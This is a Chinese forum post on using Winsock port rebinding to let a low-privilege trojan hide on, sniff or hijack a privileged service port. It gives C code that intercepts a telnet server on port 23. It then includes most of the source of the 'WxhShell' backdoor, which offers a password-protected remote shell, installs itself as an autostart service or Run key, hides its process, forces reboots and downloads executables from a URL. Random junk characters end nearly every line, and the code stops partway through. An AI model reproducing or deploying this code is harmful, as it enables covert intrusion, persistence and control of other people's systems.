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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :Fw *r|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -Mit$mFn  
i.B$?cr~  
  saddr.sin_family = AF_INET; :zRB)hd  
c-? Ygr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1x^W'n,HtK  
7 3H@kf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dO Y lI`4  
E!r4AjaC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ddGkk@CA  
O8!!UA8V  
  这意味着什么?意味着可以进行如下的攻击: l#mqV@?A~  
JDIz28Ww  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VGq{y{(  
zS&7[:IRs'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =>E44v  
2 rbX8Y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [YL sEo=  
WBIQ%XB'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (, ;MC/l  
][s*~VK;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >b[4  
!pE>O-| K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q8&4=eV\A  
bEOOFs  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |DdW<IT`0  
T\<M?`Y  
  #include NB~*sP-l&  
  #include ~hxeD" w  
  #include C.DoXE7  
  #include    V>~*]N^f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q>Dr)x)  
  int main() TXY  
  { AX!Md:s  
  WORD wVersionRequested; /3xFd)|Ds  
  DWORD ret; 7$E2/@f  
  WSADATA wsaData; %3#b6m~  
  BOOL val; CNpCe-%&  
  SOCKADDR_IN saddr; A5(kOtgiT  
  SOCKADDR_IN scaddr; SLbavP#G  
  int err;  |V*e2w  
  SOCKET s; )wyu+_:  
  SOCKET sc; N^@%qUvT]  
  int caddsize; si+5h6I.}  
  HANDLE mt; 55u^u F  
  DWORD tid;   1tuator  
  wVersionRequested = MAKEWORD( 2, 2 ); 4AG&z,[  
  err = WSAStartup( wVersionRequested, &wsaData ); [qc6Q:  
  if ( err != 0 ) { z{<q0.^EFh  
  printf("error!WSAStartup failed!\n"); Lx4H/[$6D  
  return -1; l,~ N~?  
  } #UP,;W  
  saddr.sin_family = AF_INET; b*$o[wO9  
   .pNq-T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =}6Z{}(TT  
RQ_#rYmT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jb6ZAT<8  
  saddr.sin_port = htons(23); 0|f_C3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mz% d_  
  { ]xVL11p  
  printf("error!socket failed!\n"); SO8|]Fk  
  return -1; *o2_EqXL*  
  } GtGyY0  
  val = TRUE; 8k*k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]c~rPi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n^I|}u\  
  { MXu+I,y*  
  printf("error!setsockopt failed!\n"); g]TI8&tP!L  
  return -1; fitK2d   
  } [jmAMF<F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +L<w."WG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9h)P8B.>M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ).@)t:uNa  
!*$'fn'bAA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |x}&wFV  
  { )gm\e?^   
  ret=GetLastError(); ek_i{'hFd  
  printf("error!bind failed!\n"); d,E/9y\e  
  return -1; kB!M[[t  
  } aNh1e^j  
  listen(s,2); ygu?w7  
  while(1) '~!l(&X  
  { +&@l{x(,  
  caddsize = sizeof(scaddr); RM / s :  
  //接受连接请求 9EY_R&Yq%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >LRaIU>  
  if(sc!=INVALID_SOCKET) kdZ-<O7@  
  { v6, o/3Ex  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2oNPR+ -  
  if(mt==NULL)  &~f*q?xR  
  { *? orK o  
  printf("Thread Creat Failed!\n"); kK_>*iCMo  
  break; 374_G?t&  
  } ;Ef)7GE@\[  
  } /ux#U]x  
  CloseHandle(mt); \ { E;u'F  
  } bN~'cs8 e  
  closesocket(s); Q'V,?#  
  WSACleanup(); /E1c#@  
  return 0; v \L Ip  
  }   #v]aT  ]}  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ts?>"@  
  { 5w-G]b  
  SOCKET ss = (SOCKET)lpParam; I.n{ "=$B@  
  SOCKET sc; 3hpz.ISk  
  unsigned char buf[4096]; E t[QcB3  
  SOCKADDR_IN saddr; hgMnO J  
  long num; .<|4PG  
  DWORD val; Y$DgL h  
  DWORD ret; F$pd]F!#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (\[!,T"[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q(eQZx{  
  saddr.sin_family = AF_INET; 5;uX"z G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^[,1+WS%  
  saddr.sin_port = htons(23); E`LIENm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1=cfk#  
  { ^a0 -5  
  printf("error!socket failed!\n"); gB'Ah-@,P  
  return -1; MLDg).5  
  } nCmrt*&}  
  val = 100; d~oWu [F*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ns] 9-D  
  { 3t}o0Ai9  
  ret = GetLastError(); 1x5CsmS  
  return -1; ^i,0n}>  
  } TuhL :  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _TeRsA  
  { Q\th8/ /  
  ret = GetLastError(); Yka yT0!  
  return -1; [(ib9_`A'1  
  } t~=@r9`S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p[+me o  
  { LFry?HO,D  
  printf("error!socket connect failed!\n"); Rhxm)5+  
  closesocket(sc); loVvr"&g  
  closesocket(ss); XzwQ,+IAr  
  return -1; ^)K[1]"uM  
  } ~k_zMU-1  
  while(1) MnsWB[  
  { v-]-wNqT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rsj}hS$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]m,p3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 > ]N0w  
  num = recv(ss,buf,4096,0); i!-sbwd7  
  if(num>0) ,Onm!LI=  
  send(sc,buf,num,0); lfG&V +S1  
  else if(num==0) wtick~)  
  break; [~%;E[ky$  
  num = recv(sc,buf,4096,0); \.-y LS.  
  if(num>0) aNEy1-/(\  
  send(ss,buf,num,0); RJm8K,3#  
  else if(num==0) -2~ yc2:>A  
  break; ]cY'6'}Hz  
  } wAwH8xLU  
  closesocket(ss); p{QKj3ov  
  closesocket(sc); u>Kvub  
  return 0 ; ?ew]i'9(  
  } N=Yi :+  
}U1{&4Ph  
WmBnc#>gK  
==========================================================  x a,LV  
]=$ ay0HC  
下边附上一个代码,,WXhSHELL /9^0YC;Y*  
N.cRZm%  
========================================================== WK5bt2x  
EjCs  
#include "stdafx.h" `6F8Kqltr  
\O4=mJ  
#include <stdio.h> s,q!(\{Pv  
#include <string.h> {oC69n:  
#include <windows.h> K#yH\fn8  
#include <winsock2.h> R')GQ.yYq  
#include <winsvc.h> O&RHCR-\  
#include <urlmon.h> >R0j<:p :  
?(hQZR 0e  
#pragma comment (lib, "Ws2_32.lib") f }e7g d]M  
#pragma comment (lib, "urlmon.lib") *wx^mB9  
+Rd{ ?)2~  
#define MAX_USER   100 // 最大客户端连接数 25KZe s)  
#define BUF_SOCK   200 // sock buffer U?C{.@#w  
#define KEY_BUFF   255 // 输入 buffer fxa^SV   
/ 1GZN *I  
#define REBOOT     0   // 重启 FAGVpO[  
#define SHUTDOWN   1   // 关机 U9OF0=g  
(G;*B<|A  
#define DEF_PORT   5000 // 监听端口 R-|]GqS}L  
P"VLGa  
#define REG_LEN     16   // 注册表键长度 4r!40^:2  
#define SVC_LEN     80   // NT服务名长度 FNO lR>0e  
7q1l9:VYE  
// 从dll定义API |pg5m*h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xef7mx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1Tkdr 2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {.)D)8`<d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AY erz  
&^>r<~]  
// wxhshell配置信息 j<5R$^?U  
struct WSCFG { $dUN+9  
  int ws_port;         // 监听端口 $5 [RR  
  char ws_passstr[REG_LEN]; // 口令 6lFsN2  
  int ws_autoins;       // 安装标记, 1=yes 0=no K6Ua~N^  
  char ws_regname[REG_LEN]; // 注册表键名 >,1LBM|0u  
  char ws_svcname[REG_LEN]; // 服务名 Y5 pNKL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {1c eF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (9%%^s]uPT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c *noH[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '^AXUb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (J#3+I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L0~O6*bk  
s2kynQ#a  
}; MeS$+9jV(  
zvg&o)/[  
// default Wxhshell configuration {S~$\4vC!  
struct WSCFG wscfg={DEF_PORT, 34+}u,=  
    "xuhuanlingzhe", Fb-TCq1y#  
    1, >iV(8EgBS  
    "Wxhshell", IA!Kp g W  
    "Wxhshell", EeJ] > 1  
            "WxhShell Service", lvffQ_t  
    "Wrsky Windows CmdShell Service", =Q/i< u  
    "Please Input Your Password: ", exvsf|  
  1, zt6ep=  
  "http://www.wrsky.com/wxhshell.exe", ~:Nyv+g,$  
  "Wxhshell.exe" bp_@e0  
    }; C I0^eaFs  
vZsVxx99  
// 消息定义模块 <Z[R08 k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i{0_}"B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #a:C=GV;4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N<%,3W_-_  
char *msg_ws_ext="\n\rExit."; :Tl?yG F  
char *msg_ws_end="\n\rQuit."; N<WFe5  
char *msg_ws_boot="\n\rReboot..."; tDVdl^#  
char *msg_ws_poff="\n\rShutdown..."; Uk4">]oct  
char *msg_ws_down="\n\rSave to "; 8&bj7w,K  
#U6qM(J  
char *msg_ws_err="\n\rErr!"; 1C{n\_hR  
char *msg_ws_ok="\n\rOK!"; &kBs'P8>  
03T.Owd  
char ExeFile[MAX_PATH]; \h4y,sl  
int nUser = 0; ualtIHXK)  
HANDLE handles[MAX_USER]; }vIm C [  
int OsIsNt; RCr:2 Iz  
DEhA8.v  
SERVICE_STATUS       serviceStatus; &rubA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E83nEUs  
Cz%ih#^b  
// 函数声明 ' r/1+.  
int Install(void); DFMWgBL  
int Uninstall(void); ua-p^X`w  
int DownloadFile(char *sURL, SOCKET wsh); AH+J:8k  
int Boot(int flag); 0Og =H79<  
void HideProc(void); I6_+3}Hm{  
int GetOsVer(void); oxZ(qfjS  
int Wxhshell(SOCKET wsl); ~c"c9s+o  
void TalkWithClient(void *cs); y-mmc}B>N  
int CmdShell(SOCKET sock); xC(PH?_  
int StartFromService(void); ^8)d8?}  
int StartWxhshell(LPSTR lpCmdLine); *k -UQLJ  
Z"u/8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $9/r*@bu8d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $}@l l^  
Yc}b&  
// 数据结构和表定义 .67W\p  
SERVICE_TABLE_ENTRY DispatchTable[] = "]<Ut{Xb  
{ .xx9tP}Xy  
{wscfg.ws_svcname, NTServiceMain}, @B6[RZR  
{NULL, NULL} [sBD|P;M  
}; _=b[b]Ec$s  
J$o J  
// 自我安装  hT[O5  
int Install(void) vEkz 5$  
{ rcOmpgew  
  char svExeFile[MAX_PATH]; ~ p.23G]x  
  HKEY key; R\^tr  
  strcpy(svExeFile,ExeFile); [(XKqiSV  
X%sc:V  
// 如果是win9x系统,修改注册表设为自启动 4Bz~_   
if(!OsIsNt) { Y]PZ| G)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d{ &z^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4-MA!&  
  RegCloseKey(key); +?8nY.~,'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o,L!F`W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WW.=>]7;  
  RegCloseKey(key); 2rk_ ssvs  
  return 0; z3,z&Ra  
    } %PpB$  
  } E+gUzz5  
} qluyJpt  
else { @({65gJ*  
1<*-, f  
// 如果是NT以上系统,安装为系统服务 " 1 Bn/Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q_Rr5/  
if (schSCManager!=0) OoE@30+  
{ eL.S="  
  SC_HANDLE schService = CreateService &AzA0r&,  
  ( t0Uax-E(  
  schSCManager, PF~&!~S>W  
  wscfg.ws_svcname, 4D8q Gti  
  wscfg.ws_svcdisp, f`Nu]#i  
  SERVICE_ALL_ACCESS, {,m!%FDL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L_(|5#IDw  
  SERVICE_AUTO_START, .3[YOM7h  
  SERVICE_ERROR_NORMAL, ]du pU"VV  
  svExeFile, "-9YvB#  
  NULL, .._wTOSq  
  NULL, B*{CcQ<5  
  NULL, KQk;:1hW  
  NULL, =8]'/b  
  NULL +#O?sI#  
  ); ppxu\a  
  if (schService!=0) I<$lpU_H  
  { B}vI<?c  
  CloseServiceHandle(schService); q8U]Hyp(`  
  CloseServiceHandle(schSCManager); 1t6UI4U!$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X- zg  
  strcat(svExeFile,wscfg.ws_svcname); _.j KcDf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gc>\L3u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B=f{`rM)~W  
  RegCloseKey(key); o_cj-  
  return 0; qVf~\H@  
    } _M?:N:e  
  } !cfn%+0  
  CloseServiceHandle(schSCManager); n[<Vj1n  
} {d) +a$qj  
} {2,V3*NF  
LWY`J0/  
return 1; +f+\uObi:  
} 1:-$mt_*  
+m"iJW0  
// 自我卸载 QDU^yVa_  
int Uninstall(void) 7%X$6N-X  
{ -" DI,o  
  HKEY key; #JVcl $0Y  
j0Q ;OKu  
if(!OsIsNt) { yd2ouCUV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8g<3J-7Mm  
  RegDeleteValue(key,wscfg.ws_regname); JI.ad_IR  
  RegCloseKey(key); 9%4rO\q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e|`&K"fnq  
  RegDeleteValue(key,wscfg.ws_regname); WHU& 9N  
  RegCloseKey(key); _r&#Snp  
  return 0;  @521 zi  
  } djk   
} sYvO"|  
} mFT[[Z#  
else { IuPwFf)  
ztf(.~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); es.`:^A  
if (schSCManager!=0) 2lQ'rnqS)  
{ ~(}zp<e|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u+hzCCwtR  
  if (schService!=0) R!:1{1  
  { k+&|*!j  
  if(DeleteService(schService)!=0) { 67d0JQTu  
  CloseServiceHandle(schService); tL D.e  
  CloseServiceHandle(schSCManager); *F=w MWa  
  return 0; 2Ddrxc>48  
  } hF6EOCY6D  
  CloseServiceHandle(schService); )4j#gHN\  
  } &0M^UvO  
  CloseServiceHandle(schSCManager); 98x(2fCvF(  
} WFtxEIrl3j  
} GX\/2P7CZ  
B;^7Yu0,  
return 1; oSxHTbp?  
} .a$][Jny  
Jyvc(~x  
// 从指定url下载文件 y>|7'M*+  
int DownloadFile(char *sURL, SOCKET wsh) &}rh+z  
{ r3#H]c  
  HRESULT hr; VaH#~!  
char seps[]= "/"; 2&dtOyxo>  
char *token; dw'%1g.113  
char *file; >hHn{3y  
char myURL[MAX_PATH]; 2OEO b,`  
char myFILE[MAX_PATH]; #qHo+M$"  
*Bc= gl$  
strcpy(myURL,sURL); <UeO+M(  
  token=strtok(myURL,seps); 7)~/`w)P  
  while(token!=NULL) HdLVXaD/  
  { Kx ';mgG#$  
    file=token; U1B5gjN  
  token=strtok(NULL,seps); jh9^5"vQ  
  } IS"UBJ6p  
Yk[yG;W  
GetCurrentDirectory(MAX_PATH,myFILE); 9;kWuP>k4u  
strcat(myFILE, "\\"); Z?X ^7<  
strcat(myFILE, file); !DD|dVA{  
  send(wsh,myFILE,strlen(myFILE),0); B\9ymhx;g%  
send(wsh,"...",3,0); ?mnwD]u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $KKrl  
  if(hr==S_OK) ]x! vPIyq  
return 0; 87y$=eZ  
else Jo_h?{"L{  
return 1; ?:~ `?  
wC;N*0Th  
} ]e 81O#t3  
R:zjEhH )  
// 系统电源模块 8 z\WyDz  
int Boot(int flag) cvi+AZ=  
{ C^]bXIb  
  HANDLE hToken; ,0;E_i7  
  TOKEN_PRIVILEGES tkp; tvZpm@1  
az\ ;D\\  
  if(OsIsNt) { V\^?V|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 19h8p>Sx0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F(:+[$)  
    tkp.PrivilegeCount = 1; ^<7)w2ns  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }fUV*U:3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7'd_]e-.  
if(flag==REBOOT) { -&y{8<bu4H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ]Ocf %(  
  return 0; a'rN&*P  
} ^!!@O91T  
else { |{<g-)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q#F;GD  
  return 0; DO(FG-R  
} yD$rls:v<  
  } "3W!p+W  
  else { lhKd<Y"  
if(flag==REBOOT) { 9["yL{IPe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :^%My]>T  
  return 0; 0 ; M+8  
} Q];+?Pu.  
else { /EA4-#uw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rU%\ 8T0f  
  return 0; .^fq$7Y}7  
} ;VNwx(1l`  
} W_ngB[  
^;!A`t  
return 1; G/bWn@  
} 5,|^4 ZA  
-aXV}ZY"  
// win9x进程隐藏模块 ;q59Cr75  
void HideProc(void) mM&H; W  
{ 8S &`  
JIQS'r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FD,M.kbg  
  if ( hKernel != NULL ) /k l0(='  
  { p (:\)HP)R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #92 :h6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1ki##v[ W8  
    FreeLibrary(hKernel); 8J7 xs6@  
  } ]@)X3}"!  
z ~T[%RjO  
return; s-J>(|  
} Z ~:S0HDP  
Da0E)  
// 获取操作系统版本 ej]^VS7w[r  
int GetOsVer(void) !Z`~=n3bk  
{ :OUNZDL  
  OSVERSIONINFO winfo; W -8<sv$b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {;=I69 X  
  GetVersionEx(&winfo); uL1e?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]4@_KKP  
  return 1; 1}}.e^Tsfr  
  else #db8ur3?  
  return 0; @q}.BcSg  
} j_H{_Ug  
s 'u6Ep/V  
// 客户端句柄模块 ^8a,gA8.  
int Wxhshell(SOCKET wsl) =;9Wh!{  
{ Y7zg  
  SOCKET wsh; s0~a5Ti3  
  struct sockaddr_in client; r=~yUT  
  DWORD myID; x;?4AJ{  
D\jRF-z  
  while(nUser<MAX_USER) .R#p<"$I  
{ j *Ta?'*  
  int nSize=sizeof(client); =) $a>N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f nX!wN  
  if(wsh==INVALID_SOCKET) return 1; Kzb&aOw  
J$%mG*Y(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yNoJrA  
if(handles[nUser]==0) +^iUY%pm  
  closesocket(wsh); U"v(9m@  
else No=Ig-It  
  nUser++; G^ZL,{  
  } zQMsS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )!SVV~y  
@0;9.jml,  
  return 0; y{0`+/\`  
} h/ ?8F^C#v  
rp6Y&3p.  
// 关闭 socket >JkQ U e  
void CloseIt(SOCKET wsh) ;e_dk4_  
{ Ou"QUn|  
closesocket(wsh); f<= #WV  
nUser--; ; =ai]AYW  
ExitThread(0); nU-.a5  
} H [wJ; l  
Qx1ZxJz #  
// 客户端请求句柄 cpF\^[D  
void TalkWithClient(void *cs)  ?}e8g  
{ UeIu -[R  
2asA]sY  
  SOCKET wsh=(SOCKET)cs; 'ejuzE9  
  char pwd[SVC_LEN]; m\(4y Gj  
  char cmd[KEY_BUFF]; 2`Ub;Nn29  
char chr[1]; 4_Tx FulX.  
int i,j; E3<jH  
,B(UkPGT  
  while (nUser < MAX_USER) { /J]Yj,  
T;XEU%:LK  
if(wscfg.ws_passstr) { @s}I_@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OB)Vk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BC ]^BKP  
  //ZeroMemory(pwd,KEY_BUFF); A,ttn5Sh?  
      i=0; ^0_*AwIcN  
  while(i<SVC_LEN) { bg[k8*.:F  
'Cd8l#z7  
  // 设置超时 IAf,TKfe  
  fd_set FdRead; %6j|/|#]  
  struct timeval TimeOut; 0}2Uj>!i  
  FD_ZERO(&FdRead); BG_m}3j  
  FD_SET(wsh,&FdRead); ~aQ>DpSEf  
  TimeOut.tv_sec=8; 6a[D]46y,2  
  TimeOut.tv_usec=0; VO] Jvf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q^$IlzG7i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y44FejH(v  
RIJ+]uir4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $v#Q'?jE  
  pwd=chr[0]; JR|yg=E  
  if(chr[0]==0xd || chr[0]==0xa) {  TOdH  
  pwd=0; .7++wo!,  
  break; O`~G'l&@T  
  } )HNbWGu  
  i++; BQ{Gp 2N  
    } S}gUz9ks  
mf=,6fx28  
  // 如果是非法用户,关闭 socket =K I4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RXh0hD  
} kbJ/7  
mq`N&ABO!K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v%n'_2J =^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M`Jj!  
W?mn8Y;{`  
while(1) { tQ_;UQlX  
{ :xINQ=}D  
  ZeroMemory(cmd,KEY_BUFF); *M\Qt_[  
U>7"BpC  
      // 自动支持客户端 telnet标准   hSSF]  
  j=0; 0kS[`a(}J  
  while(j<KEY_BUFF) { M;OY+ |uA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zDeh#  
  cmd[j]=chr[0]; x tg3~/H  
  if(chr[0]==0xa || chr[0]==0xd) { rp u9  
  cmd[j]=0; M>P-0IC  
  break; ;ZPAnd:pb  
  } .%_scNP  
  j++; "2;$?*hO#  
    } b)J(0,9`G"  
kD dY i7g>  
  // 下载文件 1,=U^W.G  
  if(strstr(cmd,"http://")) { uNZJNrV%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wvvMesX<L  
  if(DownloadFile(cmd,wsh)) }WS%nQA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )` -b\8uw  
  else 3C 84b/A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ${0+LhST  
  } k<wX??'  
  else { 9-[g/qrF  
nF0$  
    switch(cmd[0]) { *X+T>SKL  
  SoeL_#+^W  
  // 帮助 lTW5> %  
  case '?': { >e :&kp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |B<+Y<)f^  
    break; |(N4ZmTm  
  } dDbPM9]5  
  // 安装 2LGeRw  
  case 'i': { oRFHq>-.g  
    if(Install()) >i7zV`eK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]S9~2;2^,  
    else 34_:.QK-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *L7 ZyERs  
    break; .>DqdtP[  
    } yz8ZY,9  
  // 卸载 L3iY Z>]  
  case 'r': { b<};"H0a  
    if(Uninstall())  x9XQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Rn]6}5m\  
    else YbB8D-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J5h;~l!y  
    break; -twV?~f  
    } rU`#3}s  
  // 显示 wxhshell 所在路径 SjV;& 1Z/  
  case 'p': { / >c F  
    char svExeFile[MAX_PATH]; 8X!^ 2B}J  
    strcpy(svExeFile,"\n\r"); 'hfQ4EN  
      strcat(svExeFile,ExeFile); ]f#ZU{A'mt  
        send(wsh,svExeFile,strlen(svExeFile),0); -8;U1^#  
    break; "f/lm 2<  
    } /{ Lo0  
  // 重启 uoR_/vol8  
  case 'b': { ?.~E:8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hz{=@jX  
    if(Boot(REBOOT)) ~K]5`(KV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[Xs=S!]I  
    else { E9TWLB5A)(  
    closesocket(wsh); P,lKa.  
    ExitThread(0); 4<fKB&  
    } <o,]f E[  
    break; f#}P>,TP  
    } K n%[&  
  // 关机 37Ux2t  
  case 'd': { N-EVH e'}6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h'YC!hjp   
